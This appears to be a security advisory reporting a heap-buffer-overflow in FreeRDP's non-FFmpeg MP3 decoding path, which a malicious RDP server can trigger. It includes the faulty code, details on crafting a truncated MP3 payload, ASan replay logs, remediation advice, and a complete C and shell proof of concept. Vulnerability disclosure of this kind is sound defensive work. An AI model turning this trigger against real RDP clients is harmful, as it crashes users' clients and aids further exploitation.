LAME MP3 decoding places right-channel PCM beyond FreeRDP's heap reservation

Summary

A malicious RDP server can supply MP3 audio to a FreeRDP client built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF. When the local audio backend uses FreeRDP's DSP fallback, freerdp_dsp_decode_mp3 reserves one byte count but treats that count as short elements when positioning the right-channel PCM pointer. The pointer begins at the end of the requested allocation, so decoded right-channel samples cross the heap boundary.

The finding was reproduced over a real TLS/RDP connection using the stock FreeRDP shadow server, stock RDPSND negotiation and WAVE2 serializer, and an unmodified ASan-instrumented client. The client selected stereo MP3 format 0x0055. A decoder-accepted 10,166-byte truncated CBR MP3 passed through rdpsnd_recv_wave2_pdu and rdpsnd_treat_wave; three of three attack sessions terminated with ASan at freerdp_dsp_decode_mp3 line 593. A three-byte control followed the same path and remained alive and ASan-clean for the full observation window.

The production DSP replay also used the real LAME hip_decode implementation directly. ASan reported a heap-buffer-overflow when FreeRDP read a right-channel sample 0 bytes after a 352,896-byte allocation. Because the LAME library itself was not instrumented, the trace reports FreeRDP's subsequent read rather than attributing an instrumented write to LAME.

The demonstrated impact is client termination under ASan. The source establishes a native decoder output pointer outside FreeRDP's reservation, but this report does not claim demonstrated code execution, adjacent-object control, or information disclosure.

Prerequisites

• The client is built with WITH_LAME=ON.
• The client is built with WITH_DSP_FFMPEG=OFF; the default FFmpeg DSP path is not affected by this function.
• An RDP server negotiates WAVE_FORMAT_MPEGLAYER3 through rdpsnd and sends MP3 audio.
• The selected local audio backend does not consume the negotiated MP3 format directly, causing FreeRDP to use DSP fallback.
• The attacker can send audio in the established server session.

Technical details

channels/rdpsnd/client/rdpsnd_main.c takes SNDC_WAVE audio from the server-controlled stream. If the local device does not accept the negotiated format, rdpsnd_treat_wave passes the data and AUDIO_FORMAT to freerdp_dsp_decode.

In the non-FFmpeg build, libfreerdp/codec/dsp.c dispatches WAVE_FORMAT_MPEGLAYER3 to freerdp_dsp_decode_mp3. For stereo 44.1 kHz audio, the vulnerable code computes:

const size_t buffer_size =
    2 * context->common.format.nChannels * context->common.format.nSamplesPerSec;

if (!Stream_EnsureCapacity(context->common.buffer, 2 * buffer_size))
    return FALSE;

short* pcm_l = Stream_BufferAs(context->common.buffer, short);
short* pcm_r = Stream_BufferAs(context->common.buffer, short) + buffer_size;
const int rc = hip_decode(context->hip, src, size, pcm_l, pcm_r);

buffer_size is 176,400. FreeRDP requests 352,800 bytes, then advances the short* by 176,400 elements, or 352,800 bytes. pcm_r therefore starts at the end of the requested allocation. LAME's hip_decode has no output-capacity parameter and returns the number of samples placed in both arrays. FreeRDP subsequently reads pcm_l[x] and pcm_r[x] for every returned sample.

The tested stream allocation rounded up to 352,896 bytes, leaving 96 bytes after the requested end. Forty-eight right-channel short samples fit in that slack. ASan reported the next two-byte pcm_r read exactly at the end of the actual allocation.

For the network replay, the server started with a real stereo 44.1 kHz, 128 kbps CBR MP3 generated by libmp3lame, disabled the bit reservoir, and sent the suffix beginning at byte 283. The resulting 10,166-byte stream is intentionally truncated. A bounded probe showed that it makes hip_decode emit PCM on the first call, whereas the complete stream only primes the decoder and would make FreeRDP reject the first WAVE2 PDU before a later call.

A disposable server wrapper constrained the hostile server's advertised audio format to stereo MP3 and supplied the encoded bytes through the public SendSamples2 API. Stock RDPSND negotiation selected format 0x0055; stock SendSamples2 serialized the WAVE2 PDU. The unmodified client parsed it in rdpsnd_recv_wave2_pdu, passed all 10,166 bytes through rdpsnd_treat_wave, and reached the production decoder. A PCM-only headless output plugin rejected native MP3 like an ordinary PCM backend and did not call or wrap the decoder.

The vulnerable layout entered the tree before 2.0.0-rc3. Direct snapshot inspection confirmed it in 2.0.0, 3.0.0, 3.31.1, the tested 3.31.2-development source, and current master. No exact public advisory, fixing commit, or fixed release was found.

Reproduction

The sibling poc/ directory contains a source-only reproducer. It requires an ASan-instrumented FreeRDP build configured with the affected build flags, matching source, LAME headers, and the matching shared LAME library.

cd poc
DEPENDENCY_LIBRARY_DIR=LIBRARY_PATHS \
    ./run.sh SOURCE_DIR BUILD_DIR LAME_INCLUDE_DIR LAME_LIBRARY

Observed output from the independent source-level replay:

PASS control: truncated MP3 was rejected without an ASan finding
PASS positive: production freerdp_dsp_decode used the real LAME hip decoder
PASS positive: ASan detected a heap-buffer-overflow while FreeRDP read right-channel PCM

The packaged PoC does not use the network and its positive case intentionally aborts the ASan-instrumented process. A separate full TLS/RDP/RDPSND replay produced:

control: MP3 0x0055 selected; 3-byte WAVE2 payload; alive_after_window=1; ASan clean
attack 1: MP3 0x0055 selected; 10166-byte WAVE2 payload; ASan at dsp.c:593; client_rc=1
attack 2: MP3 0x0055 selected; 10166-byte WAVE2 payload; ASan at dsp.c:593; client_rc=1
attack 3: MP3 0x0055 selected; 10166-byte WAVE2 payload; ASan at dsp.c:593; client_rc=1

The network runner requires a matching shadow server/client pair, an X display, a preload wrapper, and a staged audio plugin, so the focused source-only reproducer remains the portable disclosure artefact.

Remediation

Size the intermediate storage in explicit per-channel samples and use checked multiplication for the combined byte reservation. With the present layout, FreeRDP must reserve at least 2 * buffer_size * sizeof(short) before placing pcm_r at buffer_size elements. Prefer a bounded decoder interface if one is available, and reject any returned sample count that exceeds either channel's capacity before interleaving PCM.

Add sanitizer-backed regression tests for stereo MP3, malformed/truncated input, mono and stereo variants, and the real rdpsnd fallback route. The test should verify that both channel buffers remain inside the allocation for the decoder's maximum returned frame.

Portable PoC files

<!-- BEGIN FILE: poc/real_decode.c -->

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <lame/lame.h>

#include <freerdp/codec/audio.h>
#include <freerdp/codec/dsp.h>
#include <winpr/stream.h>

static int make_mp3(BYTE** data, size_t* size)
{
	lame_t enc = lame_init();
	if (!enc)
		return 1;

	lame_set_in_samplerate(enc, 44100);
	lame_set_num_channels(enc, 2);
	lame_set_mode(enc, STEREO);
	lame_set_brate(enc, 128);
	lame_set_quality(enc, 2);
	if (lame_init_params(enc) < 0)
		return 2;

	const int samples = 1152 * 8;
	short* pcm = calloc((size_t)samples * 2, sizeof(short));
	if (!pcm)
		return 3;
	for (int x = 0; x < samples; x++)
	{
		pcm[2 * x] = (short)((x % 200) * 120 - 12000);
		pcm[2 * x + 1] = (short)(12000 - (x % 200) * 120);
	}

	const size_t capacity = 16384;
	BYTE* mp3 = calloc(1, capacity);
	if (!mp3)
		return 4;

	int length = lame_encode_buffer_interleaved(enc, pcm, samples, mp3, (int)capacity);
	free(pcm);
	if (length < 0)
		return 5;
	const int flushed = lame_encode_flush(enc, mp3 + length, (int)(capacity - (size_t)length));
	if (flushed < 0)
		return 6;
	length += flushed;
	lame_close(enc);
	*data = mp3;
	*size = (size_t)length;
	return 0;
}

int main(int argc, char** argv)
{
	BYTE* mp3 = NULL;
	size_t mp3_len = 0;
	const int erc = make_mp3(&mp3, &mp3_len);
	if (erc != 0)
	{
		fprintf(stderr, "MP3 generation failed: %d\n", erc);
		return erc;
	}
	printf("generated_mp3=%zu bytes\n", mp3_len);

	FREERDP_DSP_CONTEXT* dsp = freerdp_dsp_context_new(FALSE);
	wStream* out = Stream_New(NULL, 4096);
	if (!dsp || !out)
		return 10;

	AUDIO_FORMAT format = { 0 };
	format.wFormatTag = WAVE_FORMAT_MPEGLAYER3;
	format.nChannels = 2;
	format.nSamplesPerSec = 44100;
	format.nAvgBytesPerSec = 16000;
	format.nBlockAlign = 1;
	format.wBitsPerSample = 16;

	if (!freerdp_dsp_context_reset(dsp, &format, 0))
	{
		fprintf(stderr, "context reset failed\n");
		return 11;
	}

	if ((argc > 1) && (strcmp(argv[1], "control") == 0))
	{
		const BYTE truncated[] = { 0x49, 0x44, 0x33 };
		const BOOL ok = freerdp_dsp_decode(dsp, &format, truncated, sizeof(truncated), out);
		printf("control_decode=%d output=%zu\n", ok, Stream_GetPosition(out));
	}
	else
	{
		printf("decoding through freerdp_dsp_decode and real hip_decode\n");
		fflush(stdout);
		for (int pass = 0; pass < 16; pass++)
		{
			const size_t size = (pass == 0) ? mp3_len : 0;
			const BOOL ok = freerdp_dsp_decode(dsp, &format, mp3, size, out);
			printf("attack_decode[%d]=%d input=%zu output=%zu\n", pass, ok, size,
			       Stream_GetPosition(out));
			fflush(stdout);
		}
	}

	Stream_Free(out, TRUE);
	freerdp_dsp_context_free(dsp);
	free(mp3);
	return 0;
}

<!-- END FILE: poc/real_decode.c -->

<!-- BEGIN FILE: poc/run.sh -->

#!/usr/bin/env bash
set -euo pipefail

if [[ $# -ne 4 ]]; then
    echo "usage: $0 SOURCE_DIR BUILD_DIR LAME_INCLUDE_DIR LAME_LIBRARY" >&2
    exit 2
fi

POC_DIR=$(cd "$(dirname "$0")" && pwd)
SOURCE=$(cd "$1" && pwd)
BUILD=$(cd "$2" && pwd)
LAME_INCLUDE=$(cd "$3" && pwd)
LAME_LIBRARY=$(realpath "$4")

if [[ ! -f "$LAME_INCLUDE/lame/lame.h" ]]; then
    echo "LAME_INCLUDE_DIR must contain lame/lame.h" >&2
    exit 1
fi
if [[ ! -f "$LAME_LIBRARY" ]]; then
    echo "LAME_LIBRARY must name a libmp3lame shared library" >&2
    exit 1
fi
if [[ ! -f "$BUILD/CMakeCache.txt" ]]; then
    echo "BUILD_DIR must be a configured FreeRDP build" >&2
    exit 1
fi
grep -q '^WITH_DSP_FFMPEG:BOOL=OFF$' "$BUILD/CMakeCache.txt"
grep -q '^WITH_LAME:BOOL=ON$' "$BUILD/CMakeCache.txt"

find_library() {
    local pattern=$1
    local library
    library=$(find "$BUILD" -type f -name "$pattern" -print | sort -V | tail -n 1)
    if [[ -z "$library" ]]; then
        echo "required library not found: $pattern" >&2
        exit 1
    fi
    printf '%s\n' "$library"
}

CORE_LIB=$(find_library 'libfreerdp3.so.*')
WINPR_LIB=$(find_library 'libwinpr3.so.*')
if ! readelf -d "$CORE_LIB" 2>/dev/null | grep -q 'libasan'; then
    echo "BUILD_DIR must contain an AddressSanitizer-instrumented FreeRDP build" >&2
    exit 1
fi

WORK_ROOT=${POC_WORK_ROOT:-$PWD}
WORK=$(mktemp -d "$WORK_ROOT/freerdp-mp3-poc.XXXXXX")
cleanup() {
    if [[ ${KEEP_ARTIFACTS:-0} == 1 ]]; then
        echo "artifacts retained in $WORK"
    else
        rm -rf "$WORK"
    fi
}
trap cleanup EXIT INT TERM

cc -std=gnu11 -O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer \
    -I"$SOURCE/include" -I"$SOURCE/winpr/include" \
    -I"$BUILD" -I"$BUILD/include" -I"$BUILD/winpr/include" \
    -I"$LAME_INCLUDE" "$POC_DIR/real_decode.c" \
    "$CORE_LIB" "$WINPR_LIB" "$LAME_LIBRARY" \
    -Wl,--allow-shlib-undefined -lm -o "$WORK/real_decode"

BUILD_LIBRARY_PATHS=$(find "$BUILD" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
LAME_LIBRARY_DIR=$(dirname "$LAME_LIBRARY")
LIBRARY_PATHS="$BUILD_LIBRARY_PATHS:$LAME_LIBRARY_DIR"
if [[ -n ${DEPENDENCY_LIBRARY_DIR:-} ]]; then
    LIBRARY_PATHS="$LIBRARY_PATHS:$DEPENDENCY_LIBRARY_DIR"
fi

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
    LD_LIBRARY_PATH="$LIBRARY_PATHS" \
    "$WORK/real_decode" control >"$WORK/control.log" 2>&1

set +e
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
    LD_LIBRARY_PATH="$LIBRARY_PATHS" \
    "$WORK/real_decode" >"$WORK/attack.log" 2>&1
ATTACK_RC=$?
set -e

grep -q 'control_decode=0 output=0' "$WORK/control.log"
if grep -q 'AddressSanitizer:' "$WORK/control.log"; then
    echo "control unexpectedly produced an AddressSanitizer finding" >&2
    exit 1
fi
test "$ATTACK_RC" -ne 0
grep -q 'AddressSanitizer: heap-buffer-overflow' "$WORK/attack.log"
grep -q 'READ of size 2' "$WORK/attack.log"
grep -q 'freerdp_dsp_decode_mp3' "$WORK/attack.log"

echo 'PASS control: truncated MP3 was rejected without an ASan finding'
echo 'PASS positive: production freerdp_dsp_decode used the real LAME hip decoder'
echo 'PASS positive: ASan detected a heap-buffer-overflow while FreeRDP read right-channel PCM'

<!-- END FILE: poc/run.sh -->